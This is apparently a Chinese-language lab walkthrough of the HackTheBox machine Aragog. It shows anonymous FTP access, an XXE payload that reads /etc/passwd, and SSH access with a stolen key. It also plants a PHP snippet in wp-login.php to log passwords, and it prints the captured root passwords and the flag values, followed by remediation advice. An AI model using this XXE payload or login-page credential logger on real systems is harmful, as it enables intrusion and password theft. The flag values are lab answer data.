[Meachines] [Medium] Aragog FTP+XXE+HTTP请求凭证窃取权限提升
字数 1268 2025-08-29 08:30:12

Aragog靶机渗透测试教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.10.78
  • 主机名: aragog.htb (需添加到/etc/hosts文件)
  • 操作系统: Ubuntu Linux (基于SSH banner识别)

1.2 端口扫描结果

使用masscan和nmap进行扫描发现以下开放端口:

端口 服务 版本信息
21/tcp FTP vsftpd 3.0.3
22/tcp SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp HTTP Apache httpd 2.4.18

1.3 服务详情

FTP服务:

  • 允许匿名登录(FTP code 230)
  • 发现文件: test.txt (权限644,所有者ftp)
  • vsFTPd状态信息显示安全配置

SSH服务:

  • OpenSSH 7.2p2版本
  • 提供三种主机密钥(RSA, ECDSA, ED25519)

HTTP服务:

  • Apache 2.4.18默认页面
  • 服务器头信息暴露Ubuntu系统

2. 渗透测试过程

2.1 FTP匿名访问利用

  1. 匿名登录FTP:

    ftp aragog.htb
    用户名: anonymous
    密码: (任意或留空)
    
  2. 获取test.txt文件:

    get test.txt
    

2.2 Web应用扫描

使用feroxbuster进行目录扫描:

feroxbuster -u http://aragog.htb

发现关键文件:

  • /hosts.php (存在XXE漏洞)

2.3 XXE漏洞利用

  1. 构造XXE攻击载荷:
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd"> 
]>
<details>
  <subnet_mask>&file;</subnet_mask>
  <test></test>
</details>
  1. 通过POST请求发送到/hosts.php:
POST /hosts.php HTTP/1.1
Host: aragog.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]

[上述XXE载荷]
  1. 成功读取/etc/passwd文件内容,获取系统用户信息

2.4 SSH登录

  1. 通过XXE或其他方式获取私钥文件(id_rsa)
  2. 使用私钥登录SSH:
    ssh florian@10.10.10.78 -i ./id_rsa
    
  3. 获取user flag:
    5420c3fc08d1386b85effa01662142f3
    

3. 权限提升

3.1 凭证窃取

  1. 发现WordPress站点:

    http://aragog.htb/dev_wiki
    
  2. 发现cliff用户每5分钟会调用一次WP登录脚本

  3. 修改wp-login.php添加以下代码窃取凭证:

<?php
$info = print_r($_REQUEST, true);
$fptr = fopen("/tmp/info", "a");
fwrite($fptr, $info);
fclose($fptr);
  1. 捕获到的凭证示例:
Array(
  [log] => root
  [pwd] => $@y6CHJ^$#5c37j$#6h
  [wp-submit] => Log In
  [redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
  [testcookie] => 1
)

Array(
  [redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
  [wp-submit] => Log In
  [pwd] => !KRgYs(JFO!&MTr)lf
  [log] => Administrator
  [testcookie] => 1
)

3.2 获取root权限

  1. 使用窃取的root密码切换用户:
    su root
    
  2. 获取root flag:
    1c3944596f4736d61cc556ed22794d92
    

4. 关键漏洞总结

  1. FTP匿名访问漏洞:

    • vsftpd配置不当允许匿名登录
    • 暴露敏感文件(test.txt)
  2. XXE漏洞:

    • hosts.php未对XML输入进行过滤
    • 导致任意文件读取(/etc/passwd)
  3. 凭证管理不当:

    • WordPress密码明文传输
    • 定时任务使用高权限账户执行操作
  4. 权限提升漏洞:

    • Web目录可写(允许修改wp-login.php)
    • 缺乏进程隔离和最小权限原则

5. 修复建议

  1. FTP服务:

    • 禁用匿名登录
    • 更新vsftpd到最新版本
  2. Web应用:

    • 修复XXE漏洞,禁用外部实体解析
    • 对用户输入进行严格过滤
  3. 系统安全:

    • 实施最小权限原则
    • 避免在定时任务中使用高权限账户
    • 定期更换敏感凭证
  4. WordPress:

    • 更新到最新版本
    • 限制对核心文件的修改
    • 使用HTTPS加密通信
  5. 监控:

    • 实施文件完整性监控
    • 记录特权操作日志
Aragog靶机渗透测试教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.10.78 主机名: aragog.htb (需添加到/etc/hosts文件) 操作系统: Ubuntu Linux (基于SSH banner识别) 1.2 端口扫描结果 使用masscan和nmap进行扫描发现以下开放端口: | 端口 | 服务 | 版本信息 | |------|------|----------| | 21/tcp | FTP | vsftpd 3.0.3 | | 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 | | 80/tcp | HTTP | Apache httpd 2.4.18 | 1.3 服务详情 FTP服务: 允许匿名登录(FTP code 230) 发现文件: test.txt (权限644,所有者ftp) vsFTPd状态信息显示安全配置 SSH服务: OpenSSH 7.2p2版本 提供三种主机密钥(RSA, ECDSA, ED25519) HTTP服务: Apache 2.4.18默认页面 服务器头信息暴露Ubuntu系统 2. 渗透测试过程 2.1 FTP匿名访问利用 匿名登录FTP: 获取test.txt文件: 2.2 Web应用扫描 使用feroxbuster进行目录扫描: 发现关键文件: /hosts.php (存在XXE漏洞) 2.3 XXE漏洞利用 构造XXE攻击载荷: 通过POST请求发送到/hosts.php: 成功读取/etc/passwd文件内容,获取系统用户信息 2.4 SSH登录 通过XXE或其他方式获取私钥文件(id_ rsa) 使用私钥登录SSH: 获取user flag: 3. 权限提升 3.1 凭证窃取 发现WordPress站点: 发现cliff用户每5分钟会调用一次WP登录脚本 修改wp-login.php添加以下代码窃取凭证: 捕获到的凭证示例: 3.2 获取root权限 使用窃取的root密码切换用户: 获取root flag: 4. 关键漏洞总结 FTP匿名访问漏洞 : vsftpd配置不当允许匿名登录 暴露敏感文件(test.txt) XXE漏洞 : hosts.php未对XML输入进行过滤 导致任意文件读取(/etc/passwd) 凭证管理不当 : WordPress密码明文传输 定时任务使用高权限账户执行操作 权限提升漏洞 : Web目录可写(允许修改wp-login.php) 缺乏进程隔离和最小权限原则 5. 修复建议 FTP服务: 禁用匿名登录 更新vsftpd到最新版本 Web应用: 修复XXE漏洞,禁用外部实体解析 对用户输入进行严格过滤 系统安全: 实施最小权限原则 避免在定时任务中使用高权限账户 定期更换敏感凭证 WordPress: 更新到最新版本 限制对核心文件的修改 使用HTTPS加密通信 监控: 实施文件完整性监控 记录特权操作日志